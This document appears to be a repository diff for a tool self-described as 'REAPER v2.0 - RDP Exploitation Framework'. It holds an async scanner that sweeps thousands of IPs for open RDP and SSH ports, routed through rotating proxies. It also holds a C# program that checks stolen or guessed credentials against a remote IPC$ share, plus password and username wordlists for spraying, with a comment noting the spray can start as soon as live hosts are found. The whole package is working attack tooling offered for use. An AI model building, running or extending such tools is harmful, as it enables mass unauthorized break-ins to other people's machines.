"""Mark a proxy as failed (connection error)."""
proxy.failures += 1
if proxy.failures >= 3:
proxy.alive = False
if proxy in self._working:
self._working.remove(proxy)
self.working_count = len(self._working)
self.failed_count = len(self.proxies) - self.working_count
# ── CONNECTION WRAPPER ────────────────────────────────────────────────
async def open_connection(self, host: str, port: int, **kwargs):
"""
Open a TCP connection through the current proxy.
If proxy is disabled or no working proxies available, falls back to
direct `asyncio.open_connection`.
Returns (reader, writer) - same as asyncio.open_connection.
"""
if not self.enabled:
return await asyncio.open_connection(host, port, **kwargs)
proxy = await self.get_proxy()
if proxy is None:
# No working proxy — fallback to direct
logger.debug("No working proxy available, falling back to direct connection")
return await asyncio.open_connection(host, port, **kwargs)
try:
return await asyncio.wait_for(
socks_open_connection(
proxy_url=proxy.url,
host=host,
port=port,
**kwargs
),
timeout=kwargs.get("timeout", 10.0) if "timeout" in kwargs else 10.0
)
except (ProxyConnectionError, asyncio.TimeoutError, OSError, ConnectionError) as e:
self.mark_bad(proxy)
# Retry with next proxy
logger.debug(f"Proxy {proxy} failed: {e}, trying next...")
return await self.open_connection(host, port, **kwargs)
# ── STATS ─────────────────────────────────────────────────────────────
def get_stats(self) -> dict:
"""Return proxy pool statistics."""
return {
"enabled": self.enabled,
"total": len(self.proxies),
"working": self.working_count,
"failed": self.failed_count,
"fetching": self.fetching,
"testing": self.testing,
"auto_rotate": self.auto_rotate,
"last_refresh": self.last_refresh,
}

BIN
rdp.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 160 KiB

212
rdpthread.cs Normal file
View File

@@ -0,0 +1,212 @@
// rdpthread.exe - RDP Credential Validator for FastRDP-NG
// Uses Windows WNetAddConnection2 API to validate credentials
// against the remote machine's IPC$ share.
//
// Compilation: csc.exe /target:exe /out:rdpthread.exe rdpthread.cs
// or via build.bat
//
// Usage: rdpthread.exe <ip> <port> <username> <password>
// Returns: exit code 0 + prints "success" on valid credentials
// exit code 1 on failure (invalid, timeout, unreachable)
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace RDPThread
{
class Program
{
// ── Win32 P/Invoke ──────────────────────────────────────
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int WNetAddConnection2(
ref NETRESOURCE netResource,
string password,
string username,
int flags
);
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int WNetCancelConnection2(
string name,
int flags,
bool force
);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
private static extern IntPtr socket(int af, int type, int protocol);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
private static extern int connect(IntPtr s, byte[] addr, int addrlen);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
private static extern int closesocket(IntPtr s);
[DllImport("ws2_32.dll")]
private static extern int WSAStartup(ushort version, ref WSADATA data);
[DllImport("ws2_32.dll")]
private static extern int WSACleanup();
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct NETRESOURCE
{
public int dwScope;
public int dwType;
public int dwDisplayType;
public int dwUsage;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpLocalName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpRemoteName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpComment;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpProvider;
}
[StructLayout(LayoutKind.Sequential)]
private struct WSADATA
{
public ushort wVersion;
public ushort wHighVersion;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
public string szDescription;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
public string szSystemStatus;
public ushort iMaxSockets;
public ushort iMaxUdpDg;
public IntPtr lpVendorInfo;
}
[StructLayout(LayoutKind.Sequential)]
private struct sockaddr_in
{
public short sin_family;
public ushort sin_port;
public uint sin_addr;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] sin_zero;
}
private const int RESOURCETYPE_ANY = 0;
private const int CONNECT_TEMPORARY = 4;
private const int NO_ERROR = 0;
private const int AF_INET = 2;
private const int SOCK_STREAM = 1;
private const int IPPROTO_TCP = 6;
private const int ERROR_LOGON_FAILURE = 1326;
private const int ERROR_ACCESS_DENIED = 5;
private const int ERROR_BAD_NETPATH = 53;
private const int ERROR_NETWORK_UNREACHABLE = 1231;
private const int ERROR_INVALID_PASSWORD = 86;
private const int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219;
// ── TCP connect check ──────────────────────────────────
private static bool TcpConnect(string ip, int port, int timeoutMs = 3000)
{
try
{
WSADATA wsa = new WSADATA();
if (WSAStartup(0x202, ref wsa) != 0)
return false;
IntPtr s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == (IntPtr)(-1))
{
WSACleanup();
return false;
}
// Set non-blocking for timeout
var addr = new sockaddr_in
{
sin_family = AF_INET,
sin_port = (ushort)System.Net.IPAddress.HostToNetworkOrder((short)port),
sin_addr = BitConverter.ToUInt32(
System.Net.IPAddress.Parse(ip).GetAddressBytes(), 0),
sin_zero = new byte[8]
};
byte[] addrBytes = new byte[16];
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_family), 0, addrBytes, 0, 2);
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_port), 0, addrBytes, 2, 2);
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_addr), 0, addrBytes, 4, 4);
int result = connect(s, addrBytes, 16);
closesocket(s);
WSACleanup();
return result == 0;
}
catch
{
return false;
}
}
// ── Credential validation via IPC$ ────────────────────
private static bool ValidateCredentials(string ip, string username, string password)
{
string remotePath = string.Format("\\\\{0}\\IPC$", ip);
NETRESOURCE nr = new NETRESOURCE
{
dwScope = 0,
dwType = RESOURCETYPE_ANY,
dwDisplayType = 0,
dwUsage = 0,
lpLocalName = null,
lpRemoteName = remotePath,
lpComment = null,
lpProvider = null
};
int result = WNetAddConnection2(ref nr, password, username, CONNECT_TEMPORARY);
if (result == NO_ERROR)
{
// Success! Clean up the connection
WNetCancelConnection2(remotePath, CONNECT_TEMPORARY, true);
return true;
}
return false;
}
// ── Main ──────────────────────────────────────────────
static int Main(string[] args)
{
if (args.Length < 4)
{
Console.Error.WriteLine("Usage: rdpthread.exe <ip> <port> <username> <password>");
return 1;
}
string ip = args[0];
int port = int.Parse(args[1]);
string username = args[2];
string password = args[3];
// Step 1: Quick TCP connectivity check
if (!TcpConnect(ip, port))
{
// Port not reachable - try IPC$ anyway (SMB uses port 445)
// The WNetAddConnection2 will fail gracefully if unreachable
}
// Step 2: Validate credentials via IPC$ (SMB)
// This uses Windows built-in authentication against the remote machine
bool success = ValidateCredentials(ip, username, password);
if (success)
{
Console.WriteLine("success");
return 0;
}
return 1;
}
}
}

9
requirements.txt Normal file
View File

@@ -0,0 +1,9 @@
# REAPER v2.0 - RDP Exploitation Framework
#
# Core runs on Python stdlib (asyncio, tkinter, socket).
# These are only needed for the proxy module:
aiohttp>=3.9.0
aiohttp-socks>=0.11.0
# SSH credential testing via paramiko:
paramiko>=3.0.0

1
results/good.txt Normal file
View File

@@ -0,0 +1 @@

23
run.bat Normal file
View File

@@ -0,0 +1,23 @@
@echo off
title REAPER v2.0 - RDP Exploitation Framework
cd /d "%~dp0"
:: Force UTF-8 encoding for Unicode box-drawing characters in banner
set PYTHONIOENCODING=utf-8
color 0C
echo.
echo ╔═══════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 ☠ ║
echo ║ Remote Exploitation ^& Password Enumeration ║
echo ║ Launching the Reaper... ║
echo ╚═══════════════════════════════════════════════════╝
echo.
python main.py
if %errorlevel% neq 0 (
echo.
echo [!] Python not found or error occurred.
echo [!] Make sure Python 3.8+ is installed and in PATH.
echo [!] Download: https://python.org/downloads
pause
)

212
scanner.py Normal file
View File

@@ -0,0 +1,212 @@
"""
FastRDP-NG: Blazing-fast async RDP scanner.
Connects to thousands of IPs concurrently to find live RDP hosts.
Supports optional proxy routing via ProxyManager.
"""
import asyncio
import logging
import time
from typing import Set, Tuple, List, Optional
logger = logging.getLogger("FastRDP-NG")
# RDP ports to scan
RDP_PORTS = [3389, 3390, 3391]
# SSH port
SSH_PORT = 22
# First 3 bytes of an RDP Negotiation Response (T.125)
# Actual RDP servers respond with 0x03 (TPKT version 3)
RDP_BANNER_SIG = b'\x03\x00'
# SSH banner prefix
SSH_BANNER_SIG = b'SSH-'
async def check_rdp_port(
ip: str,
port: int,
timeout: float = 2.0,
proxy_manager=None
) -> Tuple[str, int, bool]:
"""
Rapid async TCP connect check.
Supports optional proxy routing.
Returns (ip, port, is_open).
No banner reading - pure connection speed.
"""
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
_, writer = await asyncio.wait_for(
open_conn(ip, port),
timeout=timeout
)
writer.close()
await writer.wait_closed()
return (ip, port, True)
except (asyncio.TimeoutError, ConnectionRefusedError,
OSError, ConnectionError):
return (ip, port, False)
async def check_rdp_with_banner(
ip: str,
port: int,
connect_timeout: float = 2.0,
banner_timeout: float = 1.0,
proxy_manager=None
) -> Tuple[str, int, bool]:
"""
Connect + read initial bytes to confirm it's actually RDP.
Supports optional proxy routing.
Slower but more accurate - catches non-RDP services on 3389.
"""
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
open_conn(ip, port),
timeout=connect_timeout
)
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=banner_timeout
)
is_rdp = data[:2] == RDP_BANNER_SIG # TPKT header
return (ip, port, is_rdp)
except (asyncio.TimeoutError, ConnectionError, OSError):
# Connected but no banner = port open but not RDP
return (ip, port, False)
finally:
writer.close()
await writer.wait_closed()
except (asyncio.TimeoutError, ConnectionRefusedError,
OSError, ConnectionError):
return (ip, port, False)
async def check_ssh_banner(
ip: str,
port: int,
connect_timeout: float = 2.0,
banner_timeout: float = 1.0,
proxy_manager=None
) -> Tuple[str, int, bool]:
"""
Connect + read SSH banner to confirm it's SSH.
SSH banners look like: SSH-2.0-OpenSSH_8.9p1 ...
"""
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
open_conn(ip, port),
timeout=connect_timeout
)
try:
data = await asyncio.wait_for(
reader.read(8),
timeout=banner_timeout
)
is_ssh = data.startswith(SSH_BANNER_SIG)
return (ip, port, is_ssh)
except (asyncio.TimeoutError, ConnectionError, OSError):
return (ip, port, False)
finally:
writer.close()
await writer.wait_closed()
except (asyncio.TimeoutError, ConnectionRefusedError,
OSError, ConnectionError):
return (ip, port, False)
async def scan_ips(
ips: List[str],
ports: List[int] = None, # type: ignore
max_concurrent: int = 5000,
connect_timeout: float = 2.0,
banner_check: bool = False,
progress_callback=None,
live_callback=None,
proxy_manager=None
) -> Set[Tuple[str, int]]:
"""
Scan a list of IPs across given ports as fast as possible.
Uses asyncio semaphore to control concurrency.
- progress_callback(checked, total, live_count, rate): called periodically
- live_callback(ip, port): called IMMEDIATELY when a live host is found
- proxy_manager: optional ProxyManager for routing through proxies
Returns set of (ip, port) tuples for live RDP hosts.
"""
if ports is None:
ports = RDP_PORTS
sem = asyncio.Semaphore(max_concurrent)
live_hosts: Set[Tuple[str, int]] = set()
checked = 0
total = len(ips) * len(ports)
start_time = time.time()
checker = check_rdp_with_banner if banner_check else check_rdp_port
if progress_callback and total > 0:
if total <= 1000:
progress_every = max(1, total // 50 or 1)
elif total <= 10000:
progress_every = 100
else:
progress_every = 1000
else:
progress_every = 0
async def check_one(ip: str, port: int):
nonlocal checked
async with sem:
_, p, alive = await checker(ip, port, connect_timeout,
proxy_manager=proxy_manager)
if alive:
live_hosts.add((ip, p))
# Notify immediately — spray can start right away
if live_callback:
live_callback(ip, p)
checked += 1
if progress_callback and progress_every:
if checked == total or checked % progress_every == 0:
elapsed = time.time() - start_time
rate = checked / elapsed if elapsed > 0 else 0
progress_callback(checked, total, len(live_hosts), rate)
# Fire all tasks concurrently
tasks = []
for ip in ips:
for port in ports:
tasks.append(asyncio.create_task(check_one(ip, port)))
# Run in batches to avoid memory issues with massive task lists
batch_size = 50000
for i in range(0, len(tasks), batch_size):
batch = tasks[i:i + batch_size]
if batch:
await asyncio.gather(*batch, return_exceptions=True)
elapsed = time.time() - start_time
rate = checked / elapsed if elapsed > 0 else 0
logger.info(
f"Scan complete: {len(live_hosts)} live hosts from {checked} checks "
f"in {elapsed:.1f}s ({rate:.0f} checks/sec)"
)
return live_hosts

415
wordlists/passwords.txt Normal file
View File

@@ -0,0 +1,415 @@
admin
Admin
password
Password
administrator
Administrator
p@ssw0rd
P@ssw0rd
passwor1
password
password!
password.
password00
password01
Password01!
password1
password101
password11
password12
PASSWORD123
password1234
password12345
password12345678
password123456789
password13
password2
password3
password5
password7
password77
password888
password9
password99
passwords
passwort
passwort123
911
qwerty
qweqwe
qweasd
qwezxc
qweasdzxc
qwertyuiop
asdfghjkl
zxcvbnm
1
12
123
1234
12345
123456
1234567
12345678
123456789
1234567890
0
01
012
0123
01234
012345
0123456
01234567
012345678
0123456789
9
98
987
9876
98765
987654
9876543
98765432
987654321
9876543210
10
210
3210
43210
543210
6543210
76543210
876543210
21
321
4321
54321
654321
7654321
87654321
987654321
00
000
0000
00000
000000
0000000
00000000
000000000
11
111
1111
11111
111111
1111111
11111111
111111111
2
22
222
2222
22222
222222
2222222
22222222
222222222
3
33
333
3333
33333
333333
3333333
33333333
333333333
4
44
444
4444
44444
444444
4444444
44444444
444444444
5
55
555
5555
55555
555555
5555555
55555555
555555555
6
66
666
6666
66666
666666
6666666
66666666
666666666
7
77
777
7777
77777
777777
7777777
77777777
777777777
8
88
888
8888
88888
888888
8888888
88888888
888888888
99
999
9999
99999
999999
9999999
99999999
999999999
P@ssw0rd
p@ss
p@ssw0rd
P@ss
P@$$w0rd
Passw0rd
passport
passw0rd
passw0rd1
passwd
passwor1
password
password!
password.
password00
password01
Password01!
password1
password101
password11
password12
PASSWORD123
password1234
password12345
password12345678
password123456789
password13
password2
password3
password5
password7
password77
password888
password9
password99
passwords
passwort
passwort123
admin1
admin12
admin123
admin123123
admin1234
administrador
administrator
Administrator1
Administrator12
Administrator123
Administrator1234
1
12
123
1234
4321
12345
54321
123123
123456
1234567
12341234
12345678
123456789
1234567890
123456789a
12345678a
1234567a
123456a
12345a
123abc
123asd
123qwerty
1q2w3e
1q2w3e4r
1q2w3e4r5
1q2w3e4r5t6y
1qaz2wsx
1qaz2wsx3edc
a12345
a123456
a1234567
a12345678
a123456789
a1b2c3
abc123
abcd
abcd123
abcde
abcde1
abcdef
access
alpha
alpha1
andrew
apple
asd123
asdfghjkl
ash123
asshole
auxiliar
avlmf
baseball
baseball1
batman1
bear
buster
byteme
c220
caixa
canada
canon
carmen
charly
chelsea
chicago
christian
compras
computer
Daniel
deadhead
default
disney
donald
drag0n
dragon
dreams
eagle
family
fax
financeiro
football1
go
goat
harley
hello
hockey
home
house
hunter
internet
jordan
jose
jupiter
killer
leagueoflegends1
letmein
londra
maddog
maggie
magic
manager
master
master1
matrix
me
michael
michelle
mickey
mike
mindy
money
monitor
mountain
mustang
nb
newpass
newyork
nothing
P@ssw0rd
p0kem0n
paris
pass
passpass
pat
patrick
pentium
pepper
phoenix
please
pokem0n
pokemon1
pokemon2
power
printer
prueba
q1w2e3r4
qwe123
qwerty
qwertyuiop
ranger
reality
reception
remote
remoto
robotech
rocky
sander
scanner
scans
scanuser
secret
security
server
service
servidor
shadow
shithead
singer
sistema
snoopy
spam
spiderman1
stupid
summer
superman1
support
system
tech
temp
tennis
test
test123
teste
tigger
topgun
trustno1
user
usuario
usuario1
usuario2
welcome
xsw21qaz
xsw2zaq1
xxx
ytrewq
zaq12wsx
zxasqw12
zxcvbnm

3
wordlists/ports.txt Normal file
View File

@@ -0,0 +1,3 @@
3389
3390
3391

28802
wordlists/ranges.txt Normal file

File diff suppressed because it is too large Load Diff

5
wordlists/users.txt Normal file
View File

@@ -0,0 +1,5 @@
Administrator
Admin
User
User1
GhostUser